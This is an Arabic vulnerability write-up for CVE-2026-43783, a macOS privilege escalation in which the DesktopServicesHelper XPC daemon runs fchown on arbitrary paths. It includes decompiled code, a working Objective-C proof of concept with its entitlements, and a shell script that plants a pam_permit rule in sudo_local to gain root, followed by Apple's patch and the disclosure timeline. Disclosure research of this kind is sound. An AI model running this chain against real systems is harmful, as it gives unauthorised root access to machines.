
إثبات مفهوم وشرح تقني لـ CVE-2026-43783، وهو تصعيد صلاحيات محلي في macOS عبر DesktopServicesHelper XPC لتنفيذ chown عشوائي للحصول على صلاحيات root.
تبيّن أن الخدمة الخلفية (daemon) التي يستخدمها Finder "لإصلاح" الأذونات على ملفات iCloud مستعدة لإصلاح الأذونات على أي شيء - بما في ذلك أدلة النظام. في هذا المقال سنتناول كيفية عمل DesktopServicesHelper تحت الغطاء ولماذا كان طلب XPC واحد كافيًا للحصول على صلاحيات الجذر.
كنت أبحث عن أهداف تحتوي على com.apple.private.tcc.allow بالقيمة kTCCServiceSystemPolicyAllFiles ولفت DesktopServicesHelper انتباهي. يقع DesktopServicesHelper في /System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Versions/A/Resources/DesktopServicesHelper، ويستخدمه Finder لعمليات الملفات التي تتطلب صلاحيات مرتفعة: نقل الملفات، تعيين الأذونات، والتعامل مع سلة المهملات.

حمّلت الملف التنفيذي في IDA وانتقلت إلى start(). بعد إعداد المؤقت وقائمة الانتظار المعتاد، ينشئ مستمع XPC - نقطة دخول الخدمة الخلفية. يسجّل المستمع خدمة mach تحت اسم محدد ويبدأ الاستماع للاتصالات الواردة. أي عملية تعرف هذا الاسم يمكنها الاتصال وإرسال طلب. إليك الجزء الأساسي:```c
// get the service name
v16 = (const char *)sub_1000709F4(a1: 0);
// register the listener mach_service = xpc_connection_create_mach_service(name: v16, targetq: nullptr, flags: 1u);
// set the incoming event handler xpc_connection_set_event_handler(connection: mach_service, handler: &stru_1000B4B48); xpc_connection_resume(connection: mach_service);
// start the event loop CFRunLoopRun();
تُرجع الدالة `sub_1000709F4` اسم خدمة mach. في `start()` يتم استدعاؤها بالوسيط 0، مما يعني أن الخدمة الخفية (daemon) تُسجّل تحت الاسم `com.apple.DesktopServicesHelper`.```c
const char *__fastcall sub_1000709F4(int a1)
{
if ( a1 != 0 )
return "com.apple.DesktopServicesScriptingHelper";
else
return "com.apple.DesktopServicesHelper";
}
stru_1000B4B48 هو كتلة معالج (callback) يستدعيها الـ daemon لكل حدث وارد. يعتمد XPC على الرسائل: يقوم العميل ببناء قاموس بمفاتيح وقيم، ويرسله إلى الـ daemon، ويقوم الـ daemon بتحليل المحتويات وتحديد ما يجب فعله. تنتهي جميع الأحداث الواردة في هذا المعالج. لنلقِ نظرة بالداخل.

دالة الاستدعاء الخاصة بالكتلة هي sub_100032044. عند اتصال جديد، يسترجع الـ daemon أولاً euid و egid الخاصين بالعميل - معرّف المستخدم الفعّال ومعرّف المجموعة الفعّال - وهما معرّفا المستخدم والمجموعة التي تعمل تحتهما العملية المتصلة:```c
euid = xpc_connection_get_euid(connection: v8);
egid = xpc_connection_get_egid(connection: v8);
sub_100071268(a1: euid, a2: egid);
ثم يعيّن معالجًا للرسائل الواردة على الاتصال:```c
v15[2] = sub_10003AB2C; // block's invoke function
xpc_connection_set_event_handler(connection: v14, handler: v15);
xpc_connection_resume(connection: v14);
sub_10003AB2C - هذا هو المكان الذي تصل فيه طلبات XPC الفعلية من العميل. الآن نحتاج إلى فهم كيف يقرر الخادم (daemon) أي الطلبات ينفذها وأيها يرفضها.
sub_10003AB2C هو الموزّع الرئيسي. هنا يقرر الخادم ما يجب فعله بالطلب. الدالة كبيرة، لذا دعنا نفككها.
أولاً، يستخرج سلسلة "request" من الرسالة - وهو اسم الأمر الذي يريد العميل تنفيذه:```c
reply = xpc_dictionary_create_reply(original: v12);
string = xpc_dictionary_get_string(xdict: v12, key: "request");
// ...
// logging: "Got Request '%{public}@'"
ثم يسترجع الخادم (daemon) رمز التدقيق (audit token) الخاص بالعملية المتصلة ويتحقق مما إذا كانت تعمل داخل App Sandbox. App Sandbox هي آلية عزل تطبيقات في macOS تقيّد الوصول إلى نظام الملفات والشبكة والموارد الأخرى. وهنا يتفرع المسار:```c
xpc_dictionary_get_audit_token(a1: v12, a2: buf);
qmemcpy(__p, buf, sizeof(__p));
if ( (unsigned int)sandbox_check_by_audit_token(a1: __p, a2: 0, a3: 0) != 0 )
{
// client is sandboxed - check against allowlist
if ( (sub_10003B25C(a1: &v32, a2: "Handshake") & 1) == 0
&& (sub_10003B25C(a1: &v32, a2: "exit") & 1) == 0
&& (sub_10003B25C(a1: &v32, a2: "SetDefaultPermissionOnHomeSubdirectories") & 1) == 0
&& (sub_10003B25C(a1: &v32, a2: "MoveAsideICloudToArchiveInHome") & 1) == 0
&& (sub_10003B25C(a1: &v32, a2: "RepairPermissionsForCloudItems") & 1) == 0
&& (sub_10003B25C(a1: &v32, a2: "CopyClientActive") & 1) == 0
&& (sub_10003B25C(a1: &v32, a2: "DeleteItem") & 1) == 0 )
{
sub_100034250(a1: v12, a2: &v32); // not in the list - kill the daemon
}
}
else
{
// client is not sandboxed - check entitlement
*(_QWORD *)buf = sub_1000343C0(a1: v12, a2: CFSTR("com.apple.private.tcc.allow"));
v19 = (const __CFArray *)sub_10003B1E0();
v20 = v19;
if ( v19 == nullptr
|| (v35.length = CFArrayGetCount(theArray: v19),
v35.location = 0,
CFArrayContainsValue(theArray: v20, range: v35, value: CFSTR("kTCCServiceSystemPolicyAllFiles")) == 0) )
{
sub_100034250(a1: v12, a2: &v32); // no entitlement - kill the daemon
}
}
إذا كان العميل محصورًا في بيئة معزولة (sandboxed) - يتم فحص اسم الطلب مقابل قائمة سماح من سبع سلاسل نصية. إذا تطابق - ينجح الفحص ويمر الطلب. وإذا لم يتطابق - يقتل sub_100034250 الخادم الخفي (daemon).
إذا لم يكن العميل محصورًا في بيئة معزولة - يتحقق الخادم الخفي من استحقاق com.apple.private.tcc.allow بالقيمة kTCCServiceSystemPolicyAllFiles. عدم وجود الاستحقاق يعني أيضًا الموت.
بعد اجتياز الفحص، يمر الطلب عبر جدولي معالجة. أولاً sub_10002F7C8، ثم sub_10002A194:```c
// first table (8 commands, two arguments)
v21 = sub_10002F7C8(a1: buf);
// ...
if ( v21 != 0 )
v22(a1: v12, a2: v11); // found - invoke
// second table (21 commands, three arguments) v27 = sub_10002A194(a1: buf); // ... if ( v27 != nullptr ) v27(a1: v12, a2: reply, a3: v11); // found - invoke
الآن لنلقِ نظرة على جداول المعالجات. الجدول الأول (`sub_10002F7C8`):```c
__int64 __fastcall sub_10002F7C8(__int64 a1)
{
__int64 result; // x0
void **v3; // x21
void **v4; // x8
_BYTE v5[32]; // [xsp+8h] [xbp-128h] BYREF
__int64 v6; // [xsp+28h] [xbp-108h] BYREF
__int64 v7; // [xsp+48h] [xbp-E8h] BYREF
__int64 v8; // [xsp+68h] [xbp-C8h] BYREF
__int64 v9; // [xsp+88h] [xbp-A8h] BYREF
__int64 v10; // [xsp+A8h] [xbp-88h] BYREF
__int64 v11; // [xsp+C8h] [xbp-68h] BYREF
__int64 v12; // [xsp+E8h] [xbp-48h] BYREF
__int64 v13; // [xsp+108h] [xbp-28h] BYREF
if ( (atomic_load_explicit((atomic_uchar *volatile)&qword_1000BD8C8, memory_order_acquire) & 1) == 0
&& __cxa_guard_acquire(a1: &qword_1000BD8C8) != 0 )
{
sub_10002AA78(a1: (int)v5, __s: "OperationSizing");
sub_10002AA78(a1: (int)&v6, __s: "SetChildPermissions");
sub_10002AA78(a1: (int)&v7, __s: "RunTrashOperation");
sub_10002AA78(a1: (int)&v8, __s: "ChildCreateLock");
sub_10002AA78(a1: (int)&v9, __s: "RunSetRootMetadata");
sub_10002AA78(a1: (int)&v10, __s: "RunCopyMoveOperation");
sub_10002AA78(a1: (int)&v11, __s: "DeleteBackup");
sub_10002AA78(a1: (int)&v12, __s: "DeleteItem");
sub_10003BDDC(a1: &unk_1000BD8A0, a2: v5, a3: 8);
v3 = (void **)&v13;
do
{
v4 = v3;
v3 -= 4;
if ( *((char *)v4 - 9) < 0 )
operator delete(__p: *v3);
}
while ( v3 != (void **)v5 );
__cxa_guard_release(a1: &qword_1000BD8C8);
}
result = sub_10003BCF0(a1: &unk_1000BD8A0, a2: a1);
if ( result != 0 )
return *(_QWORD *)(result + 40);
return result;
}
لا شيء مثير للاهتمام هنا. ثمانية معالجات (OperationSizing، SetChildPermissions، ...)، جميعها محمية بفحوصات الاستحقاق.
لكن هناك جدول ثانٍ - v27 = sub_10002A194(a1: buf):```c
__int64 __fastcall sub_10002A194(__int64 a1)
{
__int64 result; // x0
void **v3; // x21
void **v4; // x8
_BYTE v5[32]; // [xsp+8h] [xbp-2C8h] BYREF
__int64 v6; // [xsp+28h] [xbp-2A8h] BYREF
__int64 v7; // [xsp+48h] [xbp-288h] BYREF
__int64 v8; // [xsp+68h] [xbp-268h] BYREF
__int64 v9; // [xsp+88h] [xbp-248h] BYREF
__int64 v10; // [xsp+A8h] [xbp-228h] BYREF
__int64 v11; // [xsp+C8h] [xbp-208h] BYREF
__int64 v12; // [xsp+E8h] [xbp-1E8h] BYREF
__int64 v13; // [xsp+108h] [xbp-1C8h] BYREF
__int64 v14; // [xsp+128h] [xbp-1A8h] BYREF
__int64 v15; // [xsp+148h] [xbp-188h] BYREF
__int64 v16; // [xsp+168h] [xbp-168h] BYREF
__int64 v17; // [xsp+188h] [xbp-148h] BYREF
__int64 v18; // [xsp+1A8h] [xbp-128h] BYREF
__int64 v19; // [xsp+1C8h] [xbp-108h] BYREF
__int64 v20; // [xsp+1E8h] [xbp-E8h] BYREF
__int64 v21; // [xsp+208h] [xbp-C8h] BYREF
__int64 v22; // [xsp+228h] [xbp-A8h] BYREF
__int64 v23; // [xsp+248h] [xbp-88h] BYREF
__int64 v24; // [xsp+268h] [xbp-68h] BYREF
__int64 v25; // [xsp+288h] [xbp-48h] BYREF
__int64 v26; // [xsp+2A8h] [xbp-28h] BYREF
if ( (atomic_load_explicit((atomic_uchar *volatile)&qword_1000BD898, memory_order_acquire) & 1) == 0 && __cxa_guard_acquire(a1: &qword_1000BD898) != 0 ) { sub_10002AA78(a1: (int)v5, __s: "Handshake"); sub_10002AA78(a1: (int)&v6, __s: "MoveAndRename"); sub_10002AA78(a1: (int)&v7, __s: "SetDefaultPermissionOnHomeSubdirectories"); sub_10002AA78(a1: (int)&v8, __s: "MoveAsideICloudToArchiveInHome"); sub_10002AA78(a1: (int)&v9, __s: "RepairPermissionsForCloudItems"); sub_10002AA78(a1: (int)&v10, __s: "CheckPermissionsForCloudItem"); sub_10002AA78(a1: (int)&v11, __s: "AbortResumableCopy"); sub_10002AA78(a1: (int)&v12, __s: "SetLabel"); sub_10002AA78(a1: (int)&v13, __s: "SetAppCategories"); sub_10002AA78(a1: (int)&v14, __s: "CreateIconFile"); sub_10002AA78(a1: (int)&v15, __s: "RemoveIconFile"); sub_10002AA78(a1: (int)&v16, __s: "RepairTrash"); sub_10002AA78(a1: (int)&v17, __s: "Rename"); sub_10002AA78(a1: (int)&v18, __s: "CreateFolder"); sub_10002AA78(a1: (int)&v19, __s: "CreateAlias"); sub_10002AA78(a1: (int)&v20, __s: "RemoveTrashItemsOlderThanDate"); sub_10002AA78(a1: (int)&v21, __s: "SetTags"); sub_10002AA78(a1: (int)&v22, __s: "cancel"); sub_10002AA78(a1: (int)&v23, __s: "pause"); sub_10002AA78(a1: (int)&v24, __s: "resume"); sub_10002AA78(a1: (int)&v25, __s: "exit"); sub_10003B360(a1: &unk_1000BD870, a2: v5, a3: 21); v3 = (void **)&v26; do { v4 = v3; v3 -= 4; if ( *((char *)v4 - 9) < 0 ) operator delete(__p: *v3); } while ( v3 != (void **)v5 ); __cxa_guard_release(a1: &qword_1000BD898); } result = sub_10003BCF0(a1: &unk_1000BD870, a2: a1); if ( result != 0 ) return *(_QWORD *)(result + 40); return result; }
هذا يمنحنا 21 معالجًا. يعمل الموزّع كسلسلة متتالية: أولاً يبحث عن اسم الطلب في الجدول الأول (`sub_10002F7C8`، 8 أوامر) - وهذه عمليات "أطلق وانسَ" تأخذ اتصال XPC والنظير (كائن العميل) لكنها لا تُرجع استجابة. إذا لم يُعثر عليه - يبحث في الجدول الثاني (`sub_10002A194`، 21 أمرًا) - وهذه عمليات لها استجابة، تتلقى إضافةً إلى ذلك ردًّا (كائنًا لإرسال النتيجة مرة أخرى إلى العميل).
معظم الأوامر إما لا تفعل شيئًا مثيرًا للاهتمام أو محجوبة خلف فحوصات الاستحقاق. لكن هناك أمر واحد مفتوح - `RepairPermissionsForCloudItems`. لنجد معالجه. في لغة التجميع يمكننا أن نرى أن `sub_10002AA78` يأخذ مؤشر دالة كوسيطه الثالث:```asm
__text:000000010002A2AC MOV X2, X16
__text:000000010002A2B0 MOV X0, X20 ; int
__text:000000010002A2B4 BL sub_10002AA78
__text:000000010002A2B8 ADD X21, SP, #0x2D0+var_2C8
__text:000000010002A2BC ADD X20, X21, #0x80
__text:000000010002A2C0 ADRL X1, aRepairpermissi ; "RepairPermissionsForCloudItems"
__text:000000010002A2C8 ADRL X16, sub_10002D744
__text:000000010002A2D0 PACIZA X16
RepairPermissionsForCloudItems -> sub_10002D744. لقد وجدنا المعالج الوحيد الذي يمكن الوصول إليه من الـ sandbox دون entitlements إضافية. الآن دعنا نرى ما يفعله فعليًا بالبيانات التي يستقبلها.
يقوم المعالج sub_10002D744 بثلاثة أشياء. أولًا، يستخرج المفتاح "Paths" من رسالة XPC ويفك تسلسله عبر NSKeyedUnarchiver إلى مصفوفة نصية:```c
v8 = objc_claimAutoreleasedReturnValue((id)sub_100028810(a1: v5, a2: "Paths"));
v9 = objc_claimAutoreleasedReturnValue(
+[NSKeyedUnarchiver unarchivedArrayOfObjectsOfClass:fromData:error:](
&OBJC_CLASS___NSKeyedUnarchiver,
"unarchivedArrayOfObjectsOfClass:fromData:error:",
objc_opt_class(a1: &OBJC_CLASS___NSString),
v8,
&v25));
ثم يمرر كل مسار إلى `sub_100029CE4` عبر `sub_100034B5C` لتحديد ما إذا كانت "الإصلاح" مطلوبًا. بالنسبة للمسارات التي تحتاج إلى إصلاح، يستدعي `sub_10002A11C`:```c
sub_100034B5C(a1: v22, a2: v24, a3: sub_100029CE4);
if ( v22[0] != v22[1] )
sub_10002A11C(a1: v5, a2: v22);
لا يوجد تحقق من المسار: كل ما يتم تمريره تتم معالجته. تتحقق الدالة sub_100029CE4 مما إذا كانت "الإصلاح" مطلوبًا. إليك المنطق الأساسي:```c
v3 = lstat(a1: v2, a2: &v28);
// ...
if ( (v28.st_mode & 0xF000) != 0x4000 && v28.st_nlink > 1u )
return false; // not a directory + hardlinks > 1 - skip
v6 = sub_100071288(a1: v4); // get caller's UID
if ( v28.st_uid != v6 )
return true; // owner doesn't match - repair needed
منطق التحقق:```
lstat(path)
|
+- not a directory && hardlinks > 1 ?
| +- yes -> false (skip)
|
+- st_uid == our UID ?
| +- yes -> false (owner matches, no repair needed)
| +- no -> true (repair needed)
|
+- directory ?
+- yes -> recurse into contents
بالنسبة للمسارات التي تحتاج إلى إصلاح، يتم استدعاء sub_10002A11C - وهي حلقة بسيطة تتكرر عبر النتائج وتستدعي sub_100029440 لكل واحدة منها. إليك المنطق الأساسي لـ sub_100029440:```c
fd = open(path, 0x200000);
fstat(fd, &st);
// only check: not a directory + hardlinks >= 2 - skip if ( (st.st_mode & 0xF000) != 0x4000 && st.st_nlink >= 2u ) return close(fd);
// get caller's UID (ours - 501) caller_uid = sub_100071288();
// owner doesn't match - change to ours if ( st.st_uid != caller_uid ) fchown(fd, caller_uid, st.st_gid);
close(fd);
// if directory - recursively call itself for each item if ( (st.st_mode & 0xF000) == 0x4000 ) sub_100029440(child_path);
هذا كل شيء. يستدعي الـ daemon الدالة `fchown` على أي مسار يتم تمريره، دون التحقق من أنه يقع في `~/Library/Mobile Documents/` أو أي حاوية iCloud. وإذا كان المسار مجلدًا، فإن الدالة تعبر جميع محتوياته بشكل تكراري وتستدعي `fchown` على كل عنصر.
اقرأ ذلك مرة أخرى. دعها تستقر في ذهنك. مرر أي مجلد - وستمتلك كل محتوياته.
## الملخص
السلسلة الكاملة من طلب XPC إلى `fchown`:```
Sandboxed app
|
+- xpc_connection_create_mach_service("com.apple.DesktopServicesHelper")
|
+- xpc_dictionary: "request" = "RepairPermissionsForCloudItems"
| "Paths" = ["/private/etc/pam.d"]
|
+- send --> DesktopServicesHelper (root)
|
+- sandbox_check: client sandboxed? -> yes
+- allowlist: RepairPermissionsForCloudItems? -> yes, pass through
+- NSKeyedUnarchiver: extract paths
+- lstat: st_uid != caller_uid? -> yes, repair needed
+- fchown(path, 501, gid) <- arbitrary path, no validation
طلب XPC واحد - وأي ملف أو دليل يصبح ملكنا.
إذن لدينا chown عشوائي على أي مسار على القرص. الآن نحتاج فقط لتحويله إلى صلاحيات root.
على macOS، تمر المصادقة عبر PAM. توجد ملفات الإعدادات في /private/etc/pam.d/ - ملف واحد لكل برنامج يتحقق من كلمات المرور: sudo، login، su، إلخ. الدليل مملوك لـ root:wheel. لذا يمكننا الاستيلاء على ملكيته باستخدام chown الخاص بنا. بعد ذلك نكون أحرارًا في إنشاء الملف /private/etc/pam.d/sudo_local بسطر واحد:```
auth sufficient pam_permit.so
`pam_permit.so` هي وحدة PAM تُرجع النجاح دائمًا. يتحقق `sudo` من `sudo_local` قبل الإعدادات الرئيسية. النتيجة: لم يعد `sudo` يطلب كلمة مرور.
لكن هناك مشكلة. لا يمكنك ببساطة الاتصال بـ `com.apple.DesktopServicesHelper` من الـ sandbox: يحظر الـ sandbox البحث عبر mach عن هذه الخدمة افتراضيًا. لكن الخدمة الخلفية نفسها تتحقق من أن العملية المستدعية داخل sandbox - وعندها فقط تسمح لـ `RepairPermissionsForCloudItems` بالمرور دون التحقق من الاستحقاق. المفارقة: الـ sandbox هنا ليس دفاعًا - بل هو تصريح مرور.
لتجاوز الـ sandbox في البحث عبر mach، نحتاج إلى الاستحقاق `com.apple.security.temporary-exception.mach-lookup.global-name`. إليك الحد الأدنى من مجموعة الاستحقاقات لتطبيق PoC:```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.app-sandbox</key>
<true/>
<key>com.apple.security.temporary-exception.mach-lookup.global-name</key>
<array>
<string>com.apple.DesktopServicesHelper</string>
</array>
</dict>
</plist>
استحقاقان.
com.apple.security.app-sandbox - يفعّل وضع الحماية (بدونه سيحتاج البرنامج الخفي إلى استحقاق TCC وسيرفضنا).
com.apple.security.temporary-exception.mach-lookup.global-name - استحقاق استثناء وضع الحماية.
لا يسمح وضع الحماية بالاتصال بجميع خدمات mach، وcom.apple.DesktopServicesHelper ليس ضمن القائمة المسموح بها. يضيف هذا المفتاح استثناءً لخدمة محددة. هذا كل ما نحتاجه. يذهب الكود مباشرة إلى ViewController.m. الطريقة الأساسية هي chownPath:، التي تتصل بالبرنامج الخفي وترسل الطلب:```objc
(void)chownPath:(NSString *)path { xpc_connection_t conn = xpc_connection_create_mach_service( "com.apple.DesktopServicesHelper", NULL, 0); if (!conn) return;
xpc_connection_set_event_handler(conn, ^(xpc_object_t event) {}); xpc_connection_resume(conn);
NSData *archived = [NSKeyedArchiver archivedDataWithRootObject:@[ path ] requiringSecureCoding:YES error:nil];
xpc_object_t msg = xpc_dictionary_create(NULL, NULL, 0); xpc_dictionary_set_string(msg, "request", "RepairPermissionsForCloudItems"); xpc_dictionary_set_data(msg, "Paths", archived.bytes, archived.length);
xpc_connection_send_message_with_reply_sync(conn, msg); }
نتصل بـ `com.apple.DesktopServicesHelper`، ونؤرشف المسار إلى `NSArray` عبر `NSKeyedArchiver` (كما تتوقع الخدمة الخلفية)، وننشئ قاموس XPC بالمفتاح `"request"` = `"RepairPermissionsForCloudItems"`، ونرسله.
عند تشغيل التطبيق، نستدعي `chownPath:` على `/private/etc/pam.d` ونتحقق من النتيجة:```objc
- (void)runExploit
{
[self chownPath:@"/private/etc/pam.d"];
usleep(200000);
struct stat st;
if (lstat("/private/etc/pam.d", &st) != 0) return;
if (st.st_uid == getuid())
NSLog(@"ok");
}
200 مللي ثانية انتظار، ثم lstat - إذا تغيّر المالك إلى UID الخاص بنا، فقد نجح chown.
الآن لنضع كل ذلك معًا. يقوم سكربت shell بتشغيل تطبيق PoC، وينتظر حتى تقوم الخدمة الخفية بعملها، ويتحقق من نجاح chown، ويكتب قاعدة PAM، ويحصل على صلاحيات root:```sh
#!/bin/sh
set -e
PAM_DIR="/private/etc/pam.d" SUDO_LOCAL="$PAM_DIR/sudo_local"
./poc.app/Contents/MacOS/poc & POC_PID=$! sleep 4 kill $POC_PID 2>/dev/null || true wait $POC_PID 2>/dev/null || true
if [ "$(stat -f %u "$PAM_DIR")" != "$(id -u)" ]; then echo "chown failed" exit 1 fi
echo 'auth sufficient pam_permit.so' > "$SUDO_LOCAL" chmod 644 "$SUDO_LOCAL"
sudo id sudo su
## تصحيح Apple
أضافت Apple فحصًا لصلاحية الاستحقاق في بداية معالج `RepairPermissionsForCloudItems` مباشرةً:```c
if ( (sub_100034110(a1: v5,
a2: CFSTR("com.apple.private.desktopservices.cloud-repair-perm")) & 1) == 0 )
{
sub_100034250(a1: v5, a2: v22); // no entitlement - kill the daemon
}
الآن فقط العمليات التي تمتلك الاستحقاق الخاص com.apple.private.desktopservices.cloud-repair-perm يمكنها استدعاء RepairPermissionsForCloudItems. بدون ذلك - يقوم sub_100034250 بإنهاء الـ daemon. تبقى بقية منطق الدالة دون تغيير.
| التاريخ | الحدث |
|---|---|
| 05/09/2026 | تم إرسال التقرير إلى Apple Product Security |
| 05/11/2026 | نقلت Apple التقرير إلى المراجعة |
شكرًا لقراءتكم، حظًا موفقًا في البحث عن الأخطاء!
| 05/13/2026 | أعادت Apple إنتاج الخلل، وحددت الإصلاح لفصل الخريف |
| 05/26/2026 | التصحيح في macOS 26.6 beta 1 |
| 08/11/2026 | تم تعيين CVE-2026-43783 |